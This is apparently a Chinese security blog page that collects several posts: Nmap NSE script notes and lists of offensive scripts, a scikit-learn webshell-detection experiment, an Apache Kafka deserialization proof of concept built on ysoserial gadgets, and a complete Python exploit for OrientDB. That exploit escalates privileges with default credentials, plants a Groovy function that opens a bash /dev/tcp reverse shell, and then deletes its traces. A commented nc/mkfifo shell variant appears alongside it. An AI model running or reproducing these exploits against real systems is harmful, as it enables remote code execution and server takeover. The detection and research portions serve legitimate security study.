分类 WEB安全 下的文章

[持续更新] 精通Nmap脚本引擎

写在前面的话

本书主要介绍NSE脚本的编写,书中内容来源主要是Paulino CalderÓn Pale的著作《Mastering Nmap Scripting Engine》和互联网上的一些公开文章,为了对原作者的尊重,文章中其他的引用的内容均标注出来。

本书不是《Mastering Nmap Scripting Engine》的中文翻译版,你可以理解为是为学习这本书和实战中的一系列笔记。

首先,感谢nmap.org,为业界提供了一款如此好用的软件。

其次,感谢《Mastering Nmap Scripting Engine》的作者,让我更深入地了解Nmap。

最后,感谢Ronen,他编写的nmap4j很好。

以上,是为引子。

感谢您的阅读,阅读过程中,如果需要交流讨论,欢迎发送邮件到 t0data@hotmail.com

已更新的章节内容

第一章 Nmap脚本简介

  • Nmap脚本分类
  • Nmap脚本使用方式
  • Nmap脚本参数的使用
  • debug的使用

第二章 NSE脚本开发环境

  • 开发环境安装
  • Halcyon IDE 配置
  • 如何新增NSE脚本

GitBook在线地址

https://www.gitbook.com/book/t0data/nmap-nse/details

一些Nmap NSE脚本推荐

前言

Nmap是一款强大的开源扫描工具。同时Nmap提供了强大的脚本引擎(Nmap Scripting Engine),支持通过Lua脚本语言来扩展Nmap的功能,在Nmap的发行版中已经包含了数百个扩展脚本,除了辅助完成Nmap的主机发现、端口扫描、服务侦测、操作系统侦测四个基本功能,还补充了其他扫描能力:如执行HTTP服务详细的探测、暴力破解简单密码、检查漏洞信息等等。

脚本分类及使用

分类

Nmap脚本主要分为以下几类,引用自:Nmap脚本使用总结

auth: 负责处理鉴权证书(绕开鉴权)的脚本  
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等  
dos: 用于进行拒绝服务攻击  
exploit: 利用已知的漏洞入侵系统  
external: 利用第三方的数据库或资源,例如进行whois解析  
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
malware: 探测目标机是否感染了病毒、开启了后门等信息  
safe: 此类与intrusive相反,属于安全性脚本  
version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

命令行选项

Nmap提供的一些命令如下:

-sC/--script=default:使用默认的脚本进行扫描。
--script=<Lua scripts>:使用某个脚本进行扫描
--script-args=x=x,y=y: 为脚本提供参数 
--script-args-file=filename: 使用文件来为脚本提供参数 
--script-trace: 显示脚本执行过程中发送与接收的数据 
--script-updatedb: 更新脚本数据库 
--script-help=<Lua scripts>: 显示脚本的帮助信息

脚本

针对性脚本

​​​收集了Github上的一些较有针对性Nmap脚本:

  • MS15-034、LFI、Nikto、ShellShock、tenda

https://github.com/s4n7h0/NSE

  • 枚举ICS程序和设备

https://github.com/digitalbond/Redpoint

  • 一些NSE脚本合集

https://github.com/cldrn/nmap-nse-scripts

  • 路由器信息收集:

https://github.com/DaniLabs/scripts-nse

  • 暴力破解

https://github.com/lelybar/hydra.nse

  • Cassandra、WebSphere

https://github.com/kost/nmap-nse

  • Scada

https://github.com/drainware/nmap-scada

  • NSE开发工具

https://github.com/s4n7h0/Halcyon

  • Hadoop、Flume

https://github.com/b4ldr/nse-scripts

  • WordPress

https://github.com/peter-hackertarget/nmap-nse-scripts

  • VNC

https://github.com/nosteve/vnc-auth

  • PhantomJS检查Http Header信息

https://github.com/aerissecure/nse

  • WebServices检测

https://github.com/c-x/nmap-webshot

  • SSL心脏滴血

https://github.com/takeshixx/ssl-heartbleed.nse

  • OpenStack

https://github.com/sicarie/nse

  • Apache、Rails-xml

https://github.com/michenriksen/nmap-scripts

  • 网关、DNS

https://github.com/ernw/nmap-scripts

  • MacOS

https://github.com/ulissescastro/ya-nse-screenshooter

  • 目录扫描、WhatCMS、漏洞检测

https://github.com/Cunzhang/NseScripting

  • Redis

https://github.com/axtl/nse-scripts

  • 华为设备检测

https://github.com/vicendominguez/http-enum-vodafone-hua253s

  • Axis​​​​

https://github.com/bikashdash/Axis_Vuln_Webcam

内网渗透

来自影牛milsec公众号的推荐

Nmap提供了许多有效的脚本,无需依赖其他第三方的工具对内网机器进行渗透测试:

  • smb-enum-domains.nse

域控制器信息收集,主机信息、用户、密码策略等

  • smb-enum-users.nse

域控制器扫描

  • smb-enum-shares.nse

遍历远程主机的共享目录

  • smb-enum-processes.nse

通过SMB对主机的系统进程进行遍历

  • smb-enum-sessions.nse

通过SMB获取域内主机的用户登录session,查看当前用户登录情况

  • smb-os-discovery.nse

通过SMB协议来收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等

  • smb-ls.nse

列举共享目录内的文件,配合smb-enum-share使用

  • smb-psexec.nse

获取到SMB用户密码时可以通过smb-psexec在远程主机来执行命令

  • smb-system-info.nse

通过SMB协议获取目标主机的操作系统信息、环境变量、硬件信息以及浏览器版本等

  • ms-sql-brute.nse

收集组合字典后对域内的MSSQL机器进行破解

  • ms-sql-xp-cmdshell.nse

获得MSSQL的SA权限用户名密码时可以通过Nmap脚本来执行指定命令,可以通过SMB协议或者MSSQL来执行

  • redis.nse

爆破Redis的用户密码,可以结合写入SSH key获取服务器权限

  • oracle-sid-brute.nse

挂载字典爆破oracle的sid

  • oracle-enum-users

通过挂载字典遍历Oracle的可用用户

  • oracle-brute.nse

获取sid之后可以爆破Oracle的用户密码

  • pgsql-brute.nse

PostgreSql用户密码猜解脚本,对pgsql进行密码爆破,适当的权限下可以读写文件、执行命令,从而进一步获取服务器控制权限。

  • svn-brute.nse

对SVN服务器进行爆破,通过这些svn服务器上的内容,我们可以下载源代码,寻找一些有用的信息

工具

Nmap NSE脚本搜索引擎

  • https://github.com/JKO/nsearch

     ================================================
       _   _  _____  _____                     _
      | \ | |/  ___||  ___|                   | |
      |  \| |\ `--. | |__    __ _  _ __   ___ | |__
      | . ` | `--. \|  __|  / _` || '__| / __|| '_  |
      | |\  |/\__/ /| |___ | (_| || |   | (__ | | | |
      \_| \_/\____/ \____/  \__,_||_|    \___||_| |_|
     ================================================
      Version 0.4b http://goo.gl/8mFHE5  @jjtibaquira
      Email: jko@dragonjar.org  |   www.dragonjar.org
     ================================================
    
     nsearch> search name:http author:calderon category:vuln
     *** Name                                     Author
     [+] http-vuln-cve2012-1823.nse               Paulino Calderon, Paul AMAR
     [+] http-phpself-xss.nse                     Paulino Calderon
     [+] http-wordpress-enum.nse                  Paulino Calderon
     [+] http-adobe-coldfusion-apsa1301.nse       Paulino Calderon
     [+] http-vuln-cve2013-0156.nse               Paulino Calderon
     [+] http-awstatstotals-exec.nse              Paulino Calderon
     [+] http-axis2-dir-traversal.nse             Paulino Calderon
     [+] http-huawei-hg5xx-vuln.nse               Paulino Calderon
     [+] http-tplink-dir-traversal.nse            Paulino Calderon
     [+] http-trace.nse                           Paulino Calderon
     [+] http-litespeed-sourcecode-download.nse   Paulino Calderon
     [+] http-majordomo2-dir-traversal.nse        Paulino Calderon
     [+] http-method-tamper.nse                   Paulino Calderon
    

总结

扫描经常会触发IDS或者其他的安全设备,所以在用的时候应根据实际的环境,来选择合适的脚本。

参考

利用sklearn检测webshell

环境搭建

Window

  • 安装IDE Anaconda

Anaconda在python语言外,还集成了numpy、scipy、matplotlib等科学计算包,以及beautiful-soup、requests、lxml等网络相关包。安装Anaconda后,基本不再需要费劲地安装其他第三方库了。

Mac Install

webshell检测

NeoPI可以生成文件的信息熵,最长单词、重合指数、特征以及压缩比等,个人感觉应该比但存通过1-gram、2-gram分词效果要好。

  1. 信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性。
  2. 最长单词(Longest Word):最长的字符串也许潜在的被编码或被混淆。
  3. 重合指数(Index of Coincidence):低重合指数预示文件代码潜在的被加密或被混效过。
  4. 特征(Signature):在文件中搜索已知的恶意代码字符串片段。
  5. 压缩(Compression):对比文件的压缩比。(more info)

黑样本

tennc ysrc tdifg tanjiti

白样本

Wordpress joomla

样本向量化

python neopi.py --csv=joomla.csv -a -A /Users/0c0c0f/soft/threathunter/joomla-cms

测试代码

import numpy as np
from sklearn import tree
from sklearn import linear_model
from sklearn.naive_bayes import GaussianNB
from sklearn import svm
from sklearn import ensemble
from sklearn import neighbors

def loubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==0.0:
            num = num+1
        sum = sum+1
    print(algorithm,"漏报率:",num/sum)

def wubao_desc(algorithm,y_pred):
    num=0
    sum=0
    for p in y_pred:
        if p==1.0:
            num = num+1
        sum = sum+1
    print(algorithm,"误报率:",num/sum)

training = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/traning.csv"
testing_black = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/tdifg.csv"
testing_white = "/Users/0c0c0f/soft/threathunter/thwebshellldetect/joomla.csv"

training_data = np.loadtxt(open(training,"r"), delimiter=",")
debug = 1
if debug==0:
    testing_data = np.loadtxt(open(testing_black,"r"), delimiter=",")
else:
    testing_data = np.loadtxt(open(testing_white,"r"), delimiter=",")
X = training_data[:,0:4]
y = training_data[:,5]

X1 = testing_data[:,0:4]

# 朴素贝叶斯
gnb = GaussianNB()
y_pred = gnb.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('朴素贝叶斯',y_pred)
else:
    wubao_desc('朴素贝叶斯', y_pred)

# 决策树
dtc = tree.DecisionTreeClassifier()
y_pred =dtc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('决策树',y_pred)
else:
    wubao_desc('决策树', y_pred)

# 逻辑回归
lr = linear_model.LinearRegression()
y_pred =lr.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('逻辑回归',y_pred)
else:
    wubao_desc('逻辑回归', y_pred)

# 支持向量机
svc = svm.SVC()
y_pred =svc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('支持向量机',y_pred)
else:
    wubao_desc('支持向量机', y_pred)

# k近邻
knc = neighbors.KNeighborsClassifier()
y_pred = knc.fit(X, y).predict(X1)
if debug==0:
    loubao_desc('k近邻',y_pred)
else:
    wubao_desc('k近邻', y_pred)

测试结果

  • 朴素贝叶斯 漏报率: 0.4879032258064516
  • 决策树 漏报率: 0.0
  • 逻辑回归 漏报率: 0.0
  • 支持向量机 漏报率: 0.04838709677419355
  • k近邻 漏报率: 0.020161290322580645
  • 朴素贝叶斯 误报率: 0.004206393718452047
  • 决策树 误报率: 0.2501402131239484
  • 逻辑回归 误报率: 0.0
  • 支持向量机 误报率: 0.26472237801458215
  • k近邻 误报率: 0.2526640493550196

逻辑回归检测webshell最优

参考

Apache Kafkafa反序列化漏洞

作者直接给出了漏洞Poc:CVE-IDs request for Apache Kafka desrialization vulnerability via runtime

import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public void test_Kafka_Deser() throws Exception {

        StandaloneConfig config;

        String projectDir = System.getProperty("user.dir");

        Jdk7u21 jdk7u21 = new Jdk7u21();
        Object o = jdk7u21.getObject("touch vul");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG,
tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG,
"org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

咨询了下研发人员,说他们代码里面没有这个class。这个反序列化应该可以用来bypass一些黑名单。类似于MarshalledObject类bypass weblogic。

通过全局搜索在源码中的测试用例也存在有漏洞的写法,不知道这个类是否有其他的使用场景?可以一起交流下。

FileOffsetBackingStore.png

搭建环境测试:

package ysoserial.exploit;
import org.apache.commons.io.FileUtils;
import org.apache.kafka.connect.runtime.standalone.StandaloneConfig;
import org.apache.kafka.connect.storage.FileOffsetBackingStore;
import ysoserial.payloads.CommonsCollections4;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class KafkaExploitTest {
    public static void test_Kafka_Deser() throws Exception {
        StandaloneConfig config;
        String projectDir = System.getProperty("user.dir");
        CommonsCollections4 cc4 = new CommonsCollections4();
        Object o = cc4.getObject("calc");

        byte[] ser = serialize(o);

        File tempFile = new File(projectDir + "/payload.ser");
        FileUtils.writeByteArrayToFile(tempFile, ser);

        Map<String, String> props = new HashMap<String, String>();
        props.put(StandaloneConfig.OFFSET_STORAGE_FILE_FILENAME_CONFIG, tempFile.getAbsolutePath());
        props.put(StandaloneConfig.KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_KEY_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        props.put(StandaloneConfig.INTERNAL_VALUE_CONVERTER_CLASS_CONFIG, "org.apache.kafka.connect.json.JsonConverter");
        config = new StandaloneConfig(props);

        FileOffsetBackingStore restore = new FileOffsetBackingStore();
        restore.configure(config);
        restore.start();
    }

    private static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(object);
        out.flush();
        return bout.toByteArray();
    }

    public static void main(String[] args) throws Exception{
        KafkaExploitTest.test_Kafka_Deser();
    }
}

Pom.xml添加依赖:

<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-runtime -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-runtime</artifactId>
<version>0.11.0.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.kafka/connect-json -->
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>connect-json</artifactId>
<version>0.11.0.0</version>
<scope>test</scope>
</dependency>

calc.png

漏洞Demo:

[@Test](/user/Test)
   public void testSaveRestore() throws Exception {
       Callback<Void> setCallback = expectSuccessfulSetCallback();
       Callback<Map<ByteBuffer, ByteBuffer>> getCallback = expectSuccessfulGetCallback();
       PowerMock.replayAll();

       store.set(firstSet, setCallback).get();
       store.stop();

       // Restore into a new store to ensure correct reload from scratch
       FileOffsetBackingStore restore = new FileOffsetBackingStore();
       restore.configure(config);
       restore.start();
       Map<ByteBuffer, ByteBuffer> values = restore.get(Arrays.asList(buffer("key")), getCallback).get();
       assertEquals(buffer("value"), values.get(buffer("key")));

       PowerMock.verifyAll();
   }

业务序列化使用avro或者json居多。如果用jdk原生方式,应该会用到这个函数进行反序列化。

OrientDB代码执行漏洞

漏洞详情

PoC

运行Netcat

nc -lv 8081

PoC.py

import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

命令:

python PoC.py ip [port] // 默认使用2480端口

poc1.png

poc2.png

修复方案